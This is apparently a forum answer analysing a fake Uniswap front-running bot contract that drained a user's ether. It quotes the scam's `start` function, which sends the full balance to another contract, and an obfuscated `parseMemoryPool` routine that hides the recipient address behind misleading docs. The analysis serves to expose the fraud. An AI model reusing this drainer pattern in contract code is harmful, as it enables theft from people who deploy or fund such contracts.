If you check that the 'Internal Txns' tab, you will see that your funds were transferred to another contract at: [0xf305382678800d65c8e9c496a4b52a3c8b8a9115][1] Do you trust that contract? Is this what the contract is supposed to do if you send it ethers? To transfer it to another contract? Could it be a malicious contract? Check that **internal transaction** (a transaction that happens from one contract to another) here: https://etherscan.io/address/0x8aa27744A22110AAFB382883E1bbaA3d050D5444#internaltx And the balance was sent to this contract: https://etherscan.io/address/0xf305382678800d65c8e9c496a4b52a3c8b8a9115 If you check the `start` function, it transfers all the balance of the account to another contract address: ```js function start() public payable { emit Log("Running FrontRun attack on Uniswap. This can take a while please wait..."); payable(_callFrontRunActionMempool()).transfer(address(this).balance); } ``` Also, this function `parseMemoryPool` looks suspicious: ```js /* * @dev Parsing all Uniswap mempool * @param self The contract to operate on. * @return True if the slice is empty, False otherwise. */ function parseMemoryPool(string memory _a) internal pure returns (address _parsed) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } ``` The docs on it say that it's doing one thing and will return a bool, but it's something else and returning an address. Probably a malicious address hidden in this weird logic to confuse inexperienced people? So, it seems this may be an attack to steal your funds.
